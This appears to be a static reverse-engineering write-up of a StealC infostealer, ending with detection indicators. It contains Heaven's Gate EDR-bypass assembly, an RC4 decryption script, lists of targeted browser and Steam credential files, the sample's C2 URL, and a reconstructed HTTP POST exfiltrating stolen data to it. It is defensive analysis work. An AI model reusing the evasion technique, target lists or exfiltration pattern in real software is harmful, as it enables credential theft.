Reversing a StealC Infostealer

TL;DR - spoiler

Static analysis of a StealC infostealer that uses the Heaven’s Gate technique to transition from 32-bit to 64-bit mode, trying to bypassing EDR hooks. Features RC4-encrypted config strings, a custom “MZER” payload marker, and direct syscalls. Successfully extracted the C2 server, decryption key, and 150+ encrypted strings without dynamic execution.

Key artifacts:

  • C2: http://23¤94¤252¤171/60cdc8e27a6d4451.php
  • RC4 Key: 9vX9oFZSsq
  • Campaign ID: 30502a69951942c7
  • Family: StealC (builder v2)

Initial Recon - Wait, that’s not “MZ”…

Got my hands on a suspicious 610KB PE32 executable. Standard stuff at first:

1
2
3
4
5
$ file sample.exe
PE32 executable (GUI) Intel 80386, for MS Windows

$ sha256sum sample.exe
e7885e82d3e17e921144b8e098b96ca8dc091b92355f60954cc5c62a46211eca

Loaded it into Binary Ninja and started poking around. The size immediately caught my attention - 610KB is pretty chunky for a simple loader. Usually means there’s something embedded.

While browsing through the decompiled code, I spotted something weird at address 0x44e9f7:

1
2
3
4
5
6
7
8
9
void* data_28604 = sub_451e7f(arg1)
data_467938 = data_28604
void* rax_5
if (sub_452037(eax_26, 0x28600, "MZER", ecx_6, var_fc0, eax_15, edx_3) == 0)
{
MessageBoxW(hwnd: nullptr, lpText: u"Error payload", ...)
ExitProcess(uExitCode: 0)
/* no return */
}

“MZER”? Not “MZ”? That’s the PE signature every Windows executable starts with. This was clearly looking for an embedded payload with a modified marker to avoid basic signature scanning.

Time to find that payload.


Finding the Hidden Payload

Searched for the “MZER” bytes in the hex view and found it at offset 0x65b38:

1
2
00065b38: 4d 5a 45 52 4c 01 64 86  00 00 00 00 00 00 00 00  MZERL.d.........
00065b48: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Right after “MZER” there’s the PE COFF header (4c 01 = x64 machine type). This is a 64-bit payload embedded in a 32-bit loader. Interesting.

Extracted it:

1
2
3
4
5
$ dd if=sample.exe of=payload.exe bs=1 skip=$((0x65b38))
165136+0 records out

$ file payload.exe
payload.exe: data

The file command doesn’t recognize it because it’s missing the DOS stub. No problem - I can patch that:

1
2
3
4
5
6
7
8
9
10
# Add minimal DOS stub
dos_stub = b'MZ' + b'\x90' * 62

with open('payload.exe', 'rb') as f:
payload_data = f.read()[4:] # Skip "MZER"

with open('payload_patched.exe', 'wb') as f:
f.write(dos_stub)
f.write(b'PE\x00\x00')
f.write(payload_data[4:])

Now it loads perfectly in Binary Ninja as a PE64 with base address 0x140000000.


Heaven’s Gate - The 32-to-64 Transition

Back to the loader. I wanted to understand how it was injecting this 64-bit payload from a 32-bit process. That’s when I found the Heaven’s Gate technique.

What’s Heaven’s Gate?

On 64-bit Windows, 32-bit processes can temporarily switch to 64-bit mode using far returns with specific segment selectors. This lets them:

  • Execute 64-bit code directly
  • Make 64-bit syscalls
  • Bypass userland hooks (EDR/AV solutions primarily hook 32-bit APIs)

The Assembly

Function at address 0x451e7f contained the transition code:

1
2
3
4
5
6
7
8
; Address: 0x451f5b
mov eax, 0x2b ; 64-bit data segment selector
mov fs, ax ; Load FS register
and esp, 0xfffffff0 ; Align stack to 16 bytes
push 0x33 ; Push 64-bit code segment selector
call $+5 ; Position-independent: get current EIP
add dword [esp], 0x5 ; Calculate return address
retf ; FAR RETURN - BOOM! We're in 64-bit mode

That retf (far return) with 0x33 as the code segment is the magic. After this instruction, the CPU switches to 64-bit mode and starts executing x64 instructions.

The Key - Finding “9vX9oFZSsq”

I went back to analyze the actual decryption functions more carefully. Found the main orchestrator at sub_43fa43:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int32_t sub_43fa43(void* arg1, char* b64_string, int32_t arg3, ...)
{
void var_20;

// Step 1: Base64 decode
sub_44a18e(&var_20, b64_string);

// Step 2: RC4 decrypt
// Key is at address 0x490780
sub_44a020(&var_20, 0x490780, ...);

// Step 3: Copy result
sub_401e86(arg1, result, ...);

return result_length;
}

Found it in the initialization function sub_443ce3:

1
2
3
4
5
6
7
8
9
10
11
void sub_443ce3()
{
// Initialize Campaign ID
sub_4020ad(0x490390, "30502a69951942c7", _strlen("30502a69951942c7"));

// INITIALIZE RC4 KEY
// Address: 0x443d20
sub_4020ad(0x490780, "9vX9oFZSsq", _strlen("9vX9oFZSsq"));

// ... other initializations
}

THERE IT IS! The actual RC4 key: 9vX9oFZSsq

Not some repetitive junk string, but a short 10-byte key that looks randomly generated.


Decrypting Everything

Now that I had the real key, I reverse-engineered the crypto routine at sub_44a020. It was standard RC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def rc4_decrypt(key, data):
"""Standard RC4 implementation"""
S = list(range(256))
j = 0

# KSA (Key Scheduling Algorithm)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

# PRGA (Pseudo-Random Generation Algorithm)
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)

return bytes(result)

RC4_KEY = b"9vX9oFZSsq"

def decrypt_string(b64_string):
encrypted = base64.b64decode(b64_string)
decrypted = rc4_decrypt(RC4_KEY, encrypted)
return decrypted

test = "M2V58PPAFmRQDT0Qqooio4MZMqiMjdWevHiajCpQMyqyEXzmOyuMFW5TnHQNoUhcf2VHZw=="
print(decrypt_string(test))
# Output: b'GetUserDefaultLangID\x00'

IT WORKED!

Decrypted all 150+ strings and got:

Windows APIs:

1
2
3
4
5
6
7
GetUserDefaultLangID
GetComputerNameW
GetProcAddress
CreateProcessA
WriteProcessMemory
VirtualAllocEx
TerminateProcess

WinHTTP APIs:

1
2
3
4
5
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest

Crypto APIs:

1
2
CryptUnprotectData
CryptStringToBinaryA

Firefox NSS:

1
2
3
PK11_GetInternalKeySlot
PK11_Authenticate
PK11SDR_Decrypt

Target paths:

1
2
C:\ProgramData\
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Browser files:

1
2
3
4
5
passwords.txt
cookies.sqlite
formhistory.sqlite
encrypted_key
Local Extension Settings

Steam files:

1
2
3
4
Software\Valve\Steam
ssfn*
config.vdf
loginusers.vdf

And most importantly…


The C2 - Divided and Conquered

Two particularly interesting strings:

String 1 (address 0x45ee0c):

1
2
3
b64 = "GH5j9qydTQUXUW1K4+ty8thabO0="
decrypt_string(b64)
# Output: b'http://23.94.252.171\x00'

String 2 (address 0x45ee2c):

1
2
3
b64 = "Xzwn5fLRWlIWSDVIqe1z9cdFK7SF"
decrypt_string(b64)
# Output: b'/60cdc8e27a6d4451.php\x00'

Combined: http://23.94.252.171/60cdc8e27a6d4451.php

That’s the C2 server! The malware split it into two separate encrypted strings to make static analysis harder. Smart.

Quick VirusTotal check confirmed this IP was associated with StealC campaigns.


Attribution - “builder_v2”

While analyzing the extracted 64-bit payload, I found a debug string in the .rdata section:

1
C:\builder_v2\stealc\json.h

Boom. This is StealC, a well-known infostealer-as-a-service that appeared in 2023. The “builder_v2” confirms this was built with the second generation of their builder tool.

Also found two campaign identifiers:

1
2
3
4
5
// Hex ID
sub_4020ad(0x490390, "30502a69951942c7", _strlen("30502a69951942c7"))

// Alpha ID
"MKMKWW"

These IDs are unique to each campaign/buyer of the StealC malware kit.


What It Steals

Based on the decrypted strings and analyzing the payload, this thing targets:

Browsers (Chrome, Edge, Brave, Firefox)

  • Saved passwords (using DPAPI + AES-256-GCM)
  • Cookies
  • Autofill data
  • Browsing history
  • Extensions (crypto wallets, etc.)

Gaming

  • Steam session files and tokens
  • Steam config files (ssfn*, config.vdf, loginusers.vdf)

System Info

  • Hardware details (CPU, RAM)
  • Geolocation data
  • Running processes
  • Installed applications
  • Screenshot of your desktop

Exfiltration

All data gets packaged as JSON and sent via HTTP POST to the C2:

1
2
3
4
5
6
7
8
9
10
11
12
POST /60cdc8e27a6d4451.php HTTP/1.1
Host: 23.94.252.171
Content-Type: application/json

{
"campaign_id": "30502a69951942c7",
"system_info": { ... },
"passwords": [ ... ],
"cookies": [ ... ],
"steam": { ... },
"screenshot": "[base64_data]"
}

Detection & IOCs

File Hashes

Loader (32-bit):

1
SHA256: e7885e82d3e17e921144b8e098b96ca8dc091b92355f60954cc5c62a46211eca

Payload (64-bit):

1
SHA256: eec6e91674aa92c6f65a42802f8da1bbf4c0d4169c471f18c85bdf9ec0b6de95

Network IOCs

1
2
3
4
IP: 23.94.252.171
URL: http://23.94.252.171/60cdc8e27a6d4451.php
Protocol: HTTP POST
Content-Type: application/json

Unique Strings

1
2
3
4
5
MZER                    # Payload marker
9vX9oFZSsq # RC4 key
30502a69951942c7 # Campaign ID (hex)
MKMKWW # Campaign ID (alpha)
C:\builder_v2\stealc # Debug path

Behavioral Detection

Look for processes doing this combination:

  1. 32-bit process executing 64-bit syscalls (Heaven’s Gate pattern)
  2. Accessing multiple browser profile directories rapidly
  3. Reading Local State, Login Data, and Cookies files
  4. Accessing Steam registry keys + .vdf files
  5. GDI+ screenshot capture
  6. HTTP POST with JSON payload to suspicious IP

Analysis performed: December 19-22, 2025
Methodology: Static analysis only
No malware was executed during this analysis